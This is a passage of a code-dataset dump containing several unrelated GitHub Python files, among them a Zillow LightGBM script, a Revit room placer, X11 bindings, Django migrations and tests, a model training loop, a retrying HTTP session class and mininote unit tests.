early_stopping_rounds=20, verbose_eval=10)\n\n# model = GridSearchCV(estimator=lgb.LGBMRegressor(**lgb_params), param_grid=param_tests, scoring='neg_mean_absolute_error', cv=5, verbose=10)\n# model.fit(x_train, y_train['logerror'])\n# print(model.grid_scores_)\n# print(model.best_params_)\n# print( model.best_score_)\n\n\n# model = lgb.cv(params, lgbtrain, nfold=5, num_boost_round=2000, verbose_eval=10)\n# mults = []\n# for i in range(10):\n# mults.append(1.000+0.0001*i)\n# for mult in mults:\n# print(mult)\n# y_value = y_train['logerror'] * mult\n\n# xgbtrain = xgb.DMatrix(data=x_train, label=y_train['logerror'])\n# cv_model = xgb.cv(xgb_params, xgbtrain, num_boost_round=1000, verbose_eval=10)\n# cv_model.nu\n# model = xgb.train(xgb_params, xgbtrain, num_boost_round=1000, verbose_eval=10)\n\nlgbtrain = lgb.Dataset(x_train, y_train['logerror'])\ncv_model = lgb.cv(lgb_params, lgbtrain, num_boost_round=1000, verbose_eval=10, nfold=4)\n\nmodel = lgb.train(lgb_params, lgbtrain, num_boost_round=820, verbose_eval=10)\n# pred = model.predict(x_train)\n# predict = model.predict(final_x)\n# print(mean_absolute_error(predict, final_y['logerror']))\n# lgb.plot_importance(model, max_num_features=30)\n# plt.show()\n\n# lgb.cv(lgb_params, lgbtrain, num_boost_round=2000, verbose_eval=10, nfold=4)\n# lgb_model = lgb.train(params, lgbtrain, num_boost_round=2000, verbose_eval=10)\n# lgb.plot_importance(lgb_model, max_num_features=30)\n# plt.show()\n# pred = lgb_model.predict(test_data)\n# print(mean_absolute_error(pred, np.array(test_y['logerror'])))\n\n# sample_submission = pd.read_csv('E:\\\\kaggle\\\\zillow_new\\\\sample_submission.csv', low_memory=False)\n# sample_submission = typeTrans(sample_submission)\n#\n\n\n\nfolds = 20\nn = int(x_test.shape[0] / folds)\n\n# del x_train\n# gc.collect()\n#\n# for month in [10, 11, 12]:\n# print('iteration: month is '+ str(month) +' ....')\n# x_test['transaction_month'] = month\n# x_test['month_logerror_diff'] = month_model.predict(x_test['transaction_month'].values.reshape(-1, 1))\n#\n# x_test.to_csv('..\\\\data\\\\x_test_' +str(result_index)+'_'+ str(month) + '.csv', index=False)\n# print(x_test.shape)\n#\n# y_pred = model.predict(x_test)\n# print(y_pred.shape)\n# result['2016'+str(month)] = y_pred\n# result['2017'+str(month)] = y_pred\n#\n# #\n# result.to_csv(\"result\"+str(result_index)+\".csv\", index=False)\nprint('Saving predictions...')\n\n\n# sample_submission.to_csv('lgb_submission.csv', index=False, float_format='%.6f')\nprint('Done!')","repo_name":"shitou112/zillow_regression","sub_path":"dataprocess/DataProcess.py","file_name":"DataProcess.py","file_ext":"py","file_size_in_byte":11908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25342863163","text":"# coding: utf-8\r\n\"\"\"PMA-Room Placer.\"\"\"\r\n#pyRevit info\r\n__title__ = 'Room\\nPlacer'\r\n__author__ = 'Carlos Romero Carballo'\r\n\r\nimport clr\r\nimport csv\r\nimport Autodesk.Revit.DB as DB\r\nfrom Autodesk.Revit.DB import *\r\n\r\ndoc = __revit__.ActiveUIDocument.Document\r\nuidoc = __revit__.ActiveUIDocument\r\n\r\nroom_fec = FilteredElementCollector(doc).OfCategory(BuiltInCategory.OST_Rooms).ToElements()\r\nrooms_per_level = dict()\r\nfor room in room_fec:\r\n if room.Level.Name not in rooms_per_level.keys():\r\n rooms_per_level[room.Level.Name] = [room]\r\n else:\r\n prev = rooms_per_level[room.Level.Name]\r\n rooms_per_level[room.Level.Name] = prev + [room]\r\n\r\nprint([ [key, len(rooms_per_level[key])] for key in rooms_per_level.keys()])\r\n\r\nclass PMAroom:\r\n def __init__(self, cod, a, b, c, d, name, sup):\r\n self.cod = cod\r\n self.a = a\r\n self.b = b\r\n self.c = c\r\n self.d = d\r\n self.name = name\r\n self.sup = sup\r\n self.group = cod.split(\"-\")[0]\r\n def __repr__(self):\r\n return \"PMAroom({}, {}, {}, {}, {}, {}, {})\".format(\r\n self.cod, self.a, self.b, self.c, self.d, self.name, self.sup)\r\n def __str__(self):\r\n return \"Habitación {}: Unidad Funcional: {}, Área Funcional: {}, Subárea Funcional: {},\\\r\n Departamento: {}, Recinto: {},, Superficie: {} m2\".format(\r\n self.cod, self.a, self.b, self.c, self.d, self.name, self.inst, self.sup)\r\n def __str__(self):\r\n return \"Habitación {}: Unidad Funcional: {}, Área Funcional: {}, Subárea Funcional: {},\\\r\n Departamento: {}, Recinto: {}, Superficie: {} m2\".format(\r\n self.cod, self.a, self.b, self.c, self.d, self.name, self.inst, self.sup)\r\n def __eq__(self, other):\r\n '''Compara si los códigos de dos habitaciones son iguales.'''\r\n return self.cod == other.cod\r\n def sameGroup(self,other):\r\n '''Comprueba si dos habitaciones pertenecen al mismo grupo.'''\r\n return self.group == other.group\r\n def text(self):\r\n '''Devuelve una lista con los campos de texto de la habitación.'''\r\n return [self.a, self.b, self.c, self.d, self.name]\r\n def Crear(self, lvl, uv):\r\n nroom = doc.Create.NewRoom(lvl,uv)\r\n def Asignar(room, par, val):\r\n return room.GetParameters(par)[0].Set(val)\r\n Asignar(nroom, \"Number\", self.cod)\r\n Asignar(nroom, \"(1) Unidad Funcional\", self.a.decode('utf-8'))\r\n Asignar(nroom, \"(2) Área Funcional\", self.b.decode('utf-8'))\r\n Asignar(nroom, \"(3) Subárea Funcional\", self.c.decode('utf-8'))\r\n Asignar(nroom, \"(4) Departamento\", self.d.decode('utf-8'))\r\n Asignar(nroom, \"Name\", self.name.decode('utf-8'))\r\n Asignar(nroom, \"PMA Reducido\", 1)\r\n\r\n\r\nPMArooms_from_PMA = dict()\r\nvisto = list()\r\nkk = 0\r\nwith open(r\"C:\\Users\\carlosromero\\Desktop\\PMA_REVIT_CARLOS.csv\", \"r\") as csvfile:\r\n reader = csv.reader(csvfile, delimiter = ';', quotechar = \"|\")\r\n for row in reader:\r\n if row[0]:\r\n PMArooms_from_PMA[row[0]] = PMAroom(row[0],row[2],row[4],row[6],row[8],row[10],float(row[13].replace(\",\",\".\")))\r\n if row[0] in visto:\r\n kk += 1\r\n else:\r\n visto.append(row[0])\r\nprint(\"PMArooms_from_PMA: \" + str(len(PMArooms_from_PMA.keys())))\r\nprint(\"repes: \" + str(kk))\r\n\r\nlevels = {level.Name:level for level in FilteredElementCollector(doc).OfClass(Level).WhereElementIsNotElementType().ToElements() if level.Name in rooms_per_level.keys()}\r\n\r\nt = Transaction(doc, \"Room Replacement\")\r\nt.Start()\r\nfor level in levels.keys():\r\n rvt_rooms = rooms_per_level[level]\r\n for room in rvt_rooms:\r\n uv = UV(room.Location.Point.X, room.Location.Point.Y)\r\n cod = room.GetParameters(\"Nuevos Codigos\")[0].AsString()\r\n doc.Delete(room.Id)\r\n PMArooms_from_PMA[cod].Crear(levels[level],uv)\r\nt.Commit()\r\n","repo_name":"thanquolin/CRC_pyrevit","sub_path":"scripts/PMA/PMA-Room Placer.pushbutton/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":3920,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"15432946282","text":"import X11 as X\nfrom X11.extensions import fixes\n\nclass Damage(X.ID):\n\tpass\n\nX.Display.QueryDamageExtension = Callable(\n\t'XQueryDamageExtension', bool,\n\t['self', X.Display],\n\t['return_major', X.INT],\n\t['return_minor', X.INT]\n\t)\n\nX.Display.QueryDamageVersion = Callable(\n\t'XDamageQueryVersion', X.Status,\n\t['self', X.Display],\n\t['return_major', X.INT],\n\t['return_minor', X.INT]\n\t)\n\nReport = bit.enum(\n\t\"\"\"\n\tRawRectangles\n\tDeltaRectangles\n\tBoundingBox\n\tNonEmpty\n\t\"\"\"\n\t)\n\nX.Display.CreateDamage = Callable(\n\t'XDamageCreate', Damage,\n\t['self', X.Display],\n\t['drawable', X.Drawable],\n\t['level', X.Cardinal, Report.RawRectangles]\n\t)\n\nX.Display.DestroyDamage = Callable(\n\t'XDestroyDamage', None,\n\t['self', X.Display],\n\t['damage', Damage]\n\t)\n\nX.Display.DamageSubtract = Callable(\n\t'XDamageSubtract', None,\n\t['self', X.Display],\n\t['damage', Damage],\n\t['repair', fixes.Region],\n\t['parts', fixes.Region]\n\t)\n\nX.Display.DamageAdd = Callable(\n\t'XDamageAdd', None,\n\t['self', X.Display],\n\t['drawable', X.Drawable],\n\t['region', fixes.Region]\n\t)\n\n","repo_name":"JesseMaurais/Pyxie","sub_path":"X11/extensions/damage.py","file_name":"damage.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72655705529","text":"class Node:\n def __init__(self, data) -> None:\n self.data: int = data\n self.next: Node | None = None\n\n\nclass LinkedList:\n def __init__(self) -> None:\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n current = self.head\n while current.next:\n current = current.next\n current.next = new_node\n\n def delete(self, data):\n if not self.head:\n print(\"Linked List empty !!\")\n return\n\n if self.head.data == data:\n self.head = self.head.next\n return\n\n prev = self.head\n current = prev.next\n\n while current:\n if current.data == data:\n prev.next = current.next\n return\n prev = current\n current = current.next\n print(\"Node not found !!\")\n\n def display(self):\n if not self.head:\n print(\"Linked List empty !!\")\n current = self.head\n while current:\n print(current.data, end=\" -> \")\n current = current.next\n print(None)\n","repo_name":"aashish47/cracking-the-coding-interview","sub_path":"linked_lists/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"33522370467","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('accounts', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='News',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=255, verbose_name='title')),\n ('content', models.TextField(help_text='Use Markdown and HTML', verbose_name='content')),\n ('created', models.DateTimeField(auto_now_add=True, verbose_name='created')),\n ('approved', models.BooleanField(default=True, help_text='Can be used for draft', verbose_name='approved')),\n ('link', models.CharField(max_length=500, verbose_name='link to original', blank=True)),\n ('author', models.ForeignKey(editable=False, to='accounts.User')),\n ],\n options={\n 'ordering': ['-created'],\n 'verbose_name': 'News',\n 'verbose_name_plural': 'News',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='ResourceRSS',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=255, verbose_name='title')),\n ('description', models.TextField(verbose_name='description', blank=True)),\n ('link', models.URLField(verbose_name='link')),\n ('is_active', models.BooleanField(default=True, verbose_name='active?')),\n ('sync_date', models.DateTimeField(verbose_name='last update', null=True, editable=False, blank=True)),\n ('approved_by_default', models.BooleanField(default=False, verbose_name='approved by default?')),\n ('news_author', models.ForeignKey(verbose_name='author', to='accounts.User')),\n ],\n options={\n 'verbose_name': 'RSS source',\n 'verbose_name_plural': 'RSS sources',\n },\n bases=(models.Model,),\n ),\n ]\n","repo_name":"djbook-ru/djbookru","sub_path":"src/news/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"77"} +{"seq_id":"17233901295","text":"import hashlib\nimport sys\nimport os\n\nfile = sys.argv[1]\n\nrx = hashlib.md5(open(file, \"r\").read()).hexdigest()\ntx = hashlib.md5(\"This line is for test\\n\").hexdigest()\n\nif rx == tx:\n os.system(\"echo 'Verified: No errors during transmission' >> results.txt\")\nelse:\n os.system(\"echo 'Verification failed' >> results.txt\")\n","repo_name":"0-complexity/openvcloud","sub_path":"tests/compute_node_hosted/1_Network_config_test/machine_script.py","file_name":"machine_script.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"74326278647","text":"import random\n\nimport argparse\nimport os\nimport time\n\nimport torch\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport numpy as np\nfrom torch.utils.data import DataLoader\n\nfrom networks import Warper, l1_loss, tv_loss\nfrom dataset import make_dataset\nfrom utils import prepare_sub_folder, weights_init, str2bool, write_image\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1'\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data_root', type=str, default='data/WebCaricature_align_1.3_256')\nparser.add_argument('--output_path', type=str, default='results/warper/')\nparser.add_argument('--max_dataset_size', type=int, default=10000)\n\nparser.add_argument('--resize_crop', type=str2bool, default=True)\nparser.add_argument('--enlarge', type=str2bool, default=False)\nparser.add_argument('--same_id', type=str2bool, default=True)\nparser.add_argument('--hflip', type=str2bool, default=True)\n\nparser.add_argument('--mode', type=str, default='train')\nparser.add_argument('--iteration', type=int, default=20000)\nparser.add_argument('--snapshot_log', type=int, default=100)\nparser.add_argument('--snapshot_save', type=int, default=10000)\n\nparser.add_argument('--batch_size', type=int, default=4)\nparser.add_argument('--num_workers', type=int, default=8)\nparser.add_argument('--lr', type=float, default=0.0001)\n\nparser.add_argument('--img_size', type=int, default=256)\nparser.add_argument('--field_size', type=int, default=128)\nparser.add_argument('--embedding_dim', type=int, default=32)\nparser.add_argument('--warp_dim', type=int, default=64)\nparser.add_argument('--scale', type=float, default=1.0)\n\nparser.add_argument('--w_recon_img', type=float, default=10)\nparser.add_argument('--w_recon_field', type=float, default=10)\nparser.add_argument('--w_tv', type=float, default=0.000005)\n\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n SEED = 0\n random.seed(SEED)\n np.random.seed(SEED)\n torch.manual_seed(SEED)\n torch.cuda.manual_seed(SEED)\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n checkpoint_dir, image_dir = prepare_sub_folder(args.output_path, delete_first=True)\n\n dataset = make_dataset(args)\n dataloader = DataLoader(dataset=dataset, batch_size=args.batch_size, shuffle=True, drop_last=False,\n num_workers=args.num_workers)\n\n warper = Warper(args)\n warper.to(device)\n warper.train()\n\n paras = list(warper.parameters())\n opt = optim.Adam([p for p in paras if p.requires_grad], lr=args.lr, betas=(0.5, 0.999), weight_decay=1e-5)\n warper.apply(weights_init('kaiming'))\n\n train_iter = iter(dataloader)\n start = time.time()\n for step in range(0, args.iteration + 1):\n try:\n item = train_iter.next()\n except:\n train_iter = iter(dataloader)\n item = train_iter.next()\n\n if step > args.iteration // 2:\n opt.param_groups[0]['lr'] -= ((args.lr - 0.) / (args.iteration // 2))\n\n img_p = item['img_p'].to(device)\n img_c = item['img_c'].to(device)\n field_p2c = item['field_p2c'].to(device)\n field_m2c = item['field_m2c'].to(device)\n field_m2p = item['field_m2p'].to(device)\n\n opt.zero_grad()\n feat, embedding = warper.encode_p(img_p)\n img_recon = warper.decode_p(feat)\n loss_recon_p = l1_loss(img_p, img_recon) * args.w_recon_img\n\n z = warper.encode_f(field_m2c)\n _, field_recon = warper.decode_f(embedding, z, scale=args.scale)\n loss_recon_warp = l1_loss(field_recon, field_p2c) * args.w_recon_field\n\n random_z = torch.randn(img_p.size(0), args.warp_dim, 1, 1).cuda()\n _, field_gen = warper.decode_f(embedding, random_z, scale=args.scale)\n img_warp_gen = F.grid_sample(img_p, field_gen, align_corners=True)\n loss_tv = tv_loss(img_warp_gen) * args.w_tv\n\n loss_total = loss_recon_p + loss_recon_warp + loss_tv\n loss_total.backward()\n opt.step()\n\n # output log\n if (step + 1) % args.snapshot_log == 0:\n end = time.time()\n print('Step: {} ({:.0f}%) time:{} loss_rec_p:{:.4f} loss_rec_warp:{:.4f} loss_tv:{:.4f}'.format(\n step + 1,\n 100.0 * step / args.iteration,\n int(end - start),\n loss_recon_p,\n loss_recon_warp,\n loss_tv))\n # input photo, input caricature, image_warp_p2c, image_warp_generated\n vis = torch.stack((img_p, img_c, F.grid_sample(img_p, field_p2c, align_corners=True), img_warp_gen), dim=1)\n write_image(step, image_dir, vis)\n\n # save checkpoint\n if (step + 1) % args.snapshot_save == 0:\n warper.save(checkpoint_dir, step)\n","repo_name":"edward3862/CariMe-pytorch","sub_path":"train_warper.py","file_name":"train_warper.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"77"} +{"seq_id":"70155659449","text":"from requests import Session\nfrom requests.exceptions import ConnectionError\nimport loguru\nimport time\n\n\nclass ResilientSession(Session):\n\n \"\"\"\n This class is supposed to retry requests that do return temporary errors.\n\n At this moment it supports: 502, 503, 504\n \"\"\"\n\n def __recoverable(self, error, url, request, counter=1):\n if hasattr(error, \"status_code\"):\n if error.status_code in [502, 503, 504]:\n error = f\"HTTP {error.status_code}\"\n else:\n return False\n MAX_DELAY = 60\n DELAY = min(2 * counter, MAX_DELAY)\n loguru.logger.warning(\n \"Got recoverable error [%s] from %s %s, retry #%s in %ss\"\n % (error, request, url, counter, DELAY)\n )\n time.sleep(DELAY)\n return True\n\n def get(self, url, **kwargs):\n counter = 0\n while True:\n counter += 1\n try:\n r = super(ResilientSession, self).get(url, **kwargs)\n except ConnectionError as e:\n r = e.response\n if self.__recoverable(r, url, \"GET\", counter):\n continue\n return r\n\n def post(self, url, **kwargs):\n counter = 0\n while True:\n counter += 1\n try:\n r = super(ResilientSession, self).post(url, **kwargs)\n except ConnectionError as e:\n r = e.response\n if self.__recoverable(r, url, \"POST\", counter):\n continue\n return r\n\n def delete(self, url, **kwargs):\n counter = 0\n while True:\n counter += 1\n try:\n r = super(ResilientSession, self).delete(url, **kwargs)\n except ConnectionError as e:\n r = e.response\n if self.__recoverable(r, url, \"DELETE\", counter):\n continue\n return r\n\n def put(self, url, **kwargs):\n counter = 0\n while True:\n counter += 1\n try:\n r = super(ResilientSession, self).put(url, **kwargs)\n except ConnectionError as e:\n r = e.response\n if self.__recoverable(r, url, \"PUT\", counter):\n continue\n return r\n\n def head(self, url, **kwargs):\n counter = 0\n while True:\n counter += 1\n try:\n r = super(ResilientSession, self).head(url, **kwargs)\n except ConnectionError as e:\n r = e.response\n if self.__recoverable(r, url, \"HEAD\", counter):\n continue\n return r\n\n def patch(self, url, **kwargs):\n counter = 0\n while True:\n counter += 1\n try:\n r = super(ResilientSession, self).patch(url, **kwargs)\n except ConnectionError as e:\n r = e.response\n if self.__recoverable(r, url, \"PATCH\", counter):\n continue\n return r\n\n def options(self, url, **kwargs):\n counter = 0\n while True:\n counter += 1\n try:\n r = super(ResilientSession, self).options(url, **kwargs)\n except ConnectionError as e:\n r = e.response\n if self.__recoverable(r, url, \"OPTIONS\", counter):\n continue\n return r\n","repo_name":"hvuhsg/yoyocoin","sub_path":"src/network/ipfs/resilient_session.py","file_name":"resilient_session.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"77"} +{"seq_id":"38886012574","text":"from .util import issquare\nclass State(object):\n dist = 'dist'\n dist_b = 'dist-by-batch'\n dist_i = 'dist-by-image'\n dist_f = 'dist-by-first'\n shared = 'shared'\n\n\nstate0 = (0, 0)\nsisw = (State.shared, State.shared)\n#for conv layer\nsidw = (State.shared, State.dist)\ndisw_i = (State.dist_i, State.shared)\n#for fc layer\nsidw_f = (State.shared, State.dist_f)\n#for both\ndisw_b = (State.dist_b, State.shared)\n\n#combination_conv =(sisw, sidw, disw_b, disw_i)\n#combination_fc = (sisw, sidw_f, disw_b)\ncombination_conv =(sisw, disw_b, disw_i)\ncombination_fc = (sisw, sidw_f, disw_b)\n\ndef get_input_slice_dim(state, conv, ConvDataLayout, FCDataLayout, num_worker):\n if state is None:\n return None\n\n if state[0] == State.shared:\n return None\n\n if state == disw_b:\n if conv:\n return ConvDataLayout.BATCH\n else:\n return FCDataLayout.BATCH\n\n if state == disw_i:\n assert conv\n if issquare(num_worker):\n return (ConvDataLayout.HEIGHT, ConvDataLayout.WIDTH)\n else:\n return ConvDataLayout.HEIGHT\n\ndef get_output_slice_dim(state, conv, ConvDataLayout, FCDataLayout, num_worker):\n if state is None:\n return None\n\n if state == sisw:\n return None\n\n if state == sidw:\n assert conv\n return ConvDataLayout.CHANNEL\n\n if state == disw_i:\n assert conv\n if issquare(num_worker):\n return (ConvDataLayout.HEIGHT, ConvDataLayout.WIDTH)\n else:\n return ConvDataLayout.HEIGHT\n\n if state == disw_b:\n if conv:\n return ConvDataLayout.BATCH\n else:\n return FCDataLayout.BATCH\n \n if state == sidw_f:\n assert not conv\n return FCDataLayout.NEURON\n\n assert False\n\ndef get_weight_slice_dim(state, conv, FilterLayout, WeightLayout):\n if state == None or state == sisw:\n return None\n\n if state == sidw:\n assert conv\n return FilterLayout.NUM\n\n if state == disw_i:\n assert conv\n return None\n\n if state == disw_b:\n return None\n\n if state == sidw_f:\n assert not conv\n return WeightLayout.OUTPUT\n\ndef get_bias_slice_dim(state, conv):\n if state == sidw:\n assert conv\n return 0 # bias has to be distributed\n if state == sidw_f:\n assert not conv\n return 0\n\n return None\n\ndef get_state_from_slice_dim(output_dist, conv, ConvDataLayout, FCDataLayout):\n if conv:\n if output_dist == ConvDataLayout.BATCH:\n return disw_b\n elif output_dist == (ConvDataLayout.HEIGHT, ConvDataLayout.WIDTH) or output_dist == ConvDataLayout.HEIGHT:\n return disw_i\n elif output_dist is None:\n return sisw\n elif output_dist == ConvDataLayout.CHANNEL:\n return sidw\n else:\n assert False\n else:\n if output_dist is None:\n return sisw\n elif output_dist == FCDataLayout.BATCH:\n return disw_b\n elif output_dist == FCDataLayout.NEURON:\n return sidw_f\n else:\n assert False\n","repo_name":"allenbo/distnet","sub_path":"distbase/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"38226446035","text":"from decimal import Decimal\n\nimport pytest\nfrom django.shortcuts import resolve_url\nfrom rest_framework import status\n\nURL = \"core:destination-retrieve-update-destroy\"\n\n\n@pytest.mark.integration\ndef test_positive_update(client_api, destination, new_photo, new_photo2):\n url = resolve_url(URL, destination.pk)\n\n data = {\n \"name\": \"New name\",\n \"price\": \"30.10\",\n \"photo1\": new_photo,\n \"photo2\": new_photo2,\n \"meta\": \"New meta\",\n \"describe\": \"New describe\",\n }\n\n resp = client_api.put(url, data=data, format=\"multipart\")\n\n assert resp.status_code == status.HTTP_200_OK\n # check DB\n destination.refresh_from_db()\n assert destination.name == \"New name\"\n assert destination.price == Decimal(\"30.10\")\n\n body = resp.json()\n assert body[\"name\"] == \"New name\"\n assert body[\"price\"] == \"30.10\"\n assert body[\"photo1\"] == f\"http://testserver/media/destination/{new_photo.name}\"\n assert body[\"photo2\"] == f\"http://testserver/media/destination/{new_photo2.name}\"\n assert body[\"meta\"] == \"New meta\"\n assert body[\"describe\"] == \"New describe\"\n\n\n@pytest.mark.integration\n@pytest.mark.parametrize(\n \"field, error\",\n [\n (\"name\", [\"Este campo é obrigatório.\"]),\n (\"price\", [\"Este campo é obrigatório.\"]),\n (\"photo1\", [\"Nenhum arquivo foi submetido.\"]),\n (\"photo2\", [\"Nenhum arquivo foi submetido.\"]),\n (\"meta\", [\"Este campo é obrigatório.\"]),\n ],\n ids=[\"name\", \"price\", \"photo1\", \"photo2\", \"meta\"],\n)\ndef test_negative_missing_fields(client_api, destination, field, error):\n url = resolve_url(URL, destination.pk)\n\n data = {\n \"name\": destination.name,\n \"price\": destination.price,\n \"photo1\": destination.photo1.file,\n \"photo2\": destination.photo2.file,\n \"meta\": destination.meta,\n }\n\n del data[field]\n\n resp = client_api.put(url, data=data, format=\"multipart\")\n\n assert resp.status_code == status.HTTP_400_BAD_REQUEST\n\n body = resp.json()\n assert body[field] == error\n\n\n@pytest.mark.integration\n@pytest.mark.parametrize(\n \"field, value, error\",\n [\n (\"price\", \"dd\", \"Um número válido é necessário.\"),\n (\"price\", -1.00, \"Certifque-se de que este valor seja maior ou igual a 0.01.\"),\n (\"photo1\", 1, \"O dado submetido não é um arquivo. Certifique-se do tipo de codificação no formulário.\"),\n (\"photo2\", 1, \"O dado submetido não é um arquivo. Certifique-se do tipo de codificação no formulário.\"),\n ],\n ids=[\"price-1\", \"price-2\", \"photo1\", \"photo2\"],\n)\ndef test_negative_validation_errors(client_api, field, destination, value, error):\n data = {\n \"name\": destination.name,\n \"price\": destination.price,\n \"photo1\": destination.photo1.file,\n \"photo2\": destination.photo2.file,\n \"meta\": destination.meta,\n }\n\n data[field] = value\n\n url = resolve_url(URL, destination.pk)\n\n resp = client_api.put(url, data=data, format=\"multipart\")\n\n assert resp.status_code == status.HTTP_400_BAD_REQUEST\n\n body = resp.json()\n\n assert body[field] == [error]\n\n\n@pytest.mark.integration\ndef test_negative_not_found(client_api, db):\n url = resolve_url(URL, 404)\n\n resp = client_api.put(url)\n\n body = resp.json()\n\n assert resp.status_code == status.HTTP_404_NOT_FOUND\n\n assert body == {\"detail\": \"Não encontrado.\"}\n","repo_name":"HenriqueCCdA/jornada-milhas","sub_path":"jornada_milhas/core/tests/api/destination_crud/test_put.py","file_name":"test_put.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"9100584122","text":"import smtplib\nfrom email.mime.text import MIMEText\nimport config\n\ncfg = config.Config()\n\nclass Mailing:\n def __init__(self):\n return\n\n def mail_list(self):\n fp = open(cfg.get_file('text'), 'rb')\n mail_msg = MIMEText(fp.read())\n fp.close()\n\n mail_msg['Subject'] = 'Nano Shopping List - ' + time.strftime(\"%d/%m/%Y\")\n mail_msg['From'] = cfg.get_mail('from')\n mail_msg['To'] = cfg.get_mail('to')\n\n smtp = smtplib.SMTP('127.0.0.1', 25)\n smtp.sendmail(mail_from, [mail_to], mail_msg.as_string())\n smtp.quit()\n","repo_name":"w84death/nano-shopping-list","sub_path":"mailing.py","file_name":"mailing.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10048959649","text":"#-*-coding:utf-8-*-\n\n'''\n请利用循环依次对list中的每个名字打印出Hello, xxx!:\n'''\n\nL = ['Bart', 'Lisa', 'Adam']\n\n#正向输出\nfor x in L:\n print(\"Hello,\"+ x +\"!\")\n\n#反向输出\nlengthL = len(L)\nwhile lengthL > 0:\n print(\"Hello,\"+L[lengthL-1])\n lengthL-=1\n","repo_name":"PLUSLEE/_Python_exercises","sub_path":"Process-oriented Programming面向过程/_04_loop_ex.py","file_name":"_04_loop_ex.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"24182781975","text":"from mock import Mock, patch\nfrom unittest import TestCase\nfrom evernote.edam.notestore.ttypes import NotesMetadataList, NoteMetadata\nfrom evernote.edam.type.ttypes import Note as EdamNote, Notebook\n\nfrom mininote.note import Note\nfrom mininote.mininote import *\n\n\nclass MockMininote(Mininote):\n\n def __init__(self, token, **kwargs):\n fake_notes = NotesMetadataList(startIndex=0, totalNotes=0, notes=[])\n fake_notebooks = []\n note_store = Mock()\n note_store.listNotebooks.return_value = kwargs.get('fake_notebooks', fake_notebooks)\n note_store.findNotesMetadata.return_value = kwargs.get('fake_notes', fake_notes)\n note_store.getNote.return_value = kwargs.get('fake_get_note', None)\n note_store.createNotebook.return_value = Notebook(guid='notebook-guid')\n self.note_store = note_store\n super(MockMininote, self).__init__(token)\n\n def _note_store(self):\n return self.note_store\n\ndef fake_notes():\n n1 = NoteMetadata(title='title1', updated=0, created=0, guid=101)\n n2 = NoteMetadata(title='title2', updated=1000, created=1000, guid=102)\n return NotesMetadataList(startIndex=0, totalNotes=1, notes=[n1, n2])\n\nclass TestMininoteEvernoteInteraction(TestCase):\n \"\"\"Test interaction with Evernote\"\"\"\n\n @patch('mininote.mininote.EvernoteClient')\n def test_get_notebook(self, MockEvernoteClient):\n \"\"\"Ensure that notebook is found if not provided\"\"\"\n fake_notebooks = [Notebook(name='mininote', guid='existing-guid')]\n client = MockMininote(token='foo', fake_notebooks=fake_notebooks)\n self.assertEqual('existing-guid', client.notebook_guid)\n\n @patch('mininote.mininote.EvernoteClient')\n def test_create_notebook(self, MockEvernoteClient):\n \"\"\"Ensure that notebook is created if does not exist\"\"\"\n client = MockMininote(token='foo')\n self.assertEqual('notebook-guid', client.notebook_guid)\n\n @patch('mininote.mininote.EvernoteClient')\n def test_add_note(self, MockEvernoteClient):\n \"\"\"Ensure that server call is made to add a note\"\"\"\n client = MockMininote(token='foo')\n client.add_note(Note('bar #unittest'))\n\n pargs, kwargs = client._note_store().createNote.call_args\n\n self.assertEqual({'unittest'}, pargs[0].tagNames)\n self.assertEqual('\"bar #unittest\"', pargs[0].title)\n self.assertEqual(encode_note_text('bar #unittest'), pargs[0].content)\n\n @patch('mininote.mininote.EvernoteClient')\n def test_search(self, MockEvernoteClient):\n \"\"\"Ensure that server calls are made to search for notes\"\"\"\n n1, n2 = list(MockMininote(token='foo', fake_notes=fake_notes()).search('foo'))\n self.assertEqual('title1', n1.text)\n self.assertEqual(0, n1.updated_time)\n self.assertEqual('title2', n2.text)\n self.assertEqual(1, n2.updated_time)\n\n @patch('mininote.mininote.EvernoteClient')\n def test_search_long_note(self, MockEvernoteClient):\n \"\"\"Ensure that full note is retrieved if content cannot fit in title\"\"\"\n n1 = NoteMetadata(guid=101, contentLength=2000, created=0, 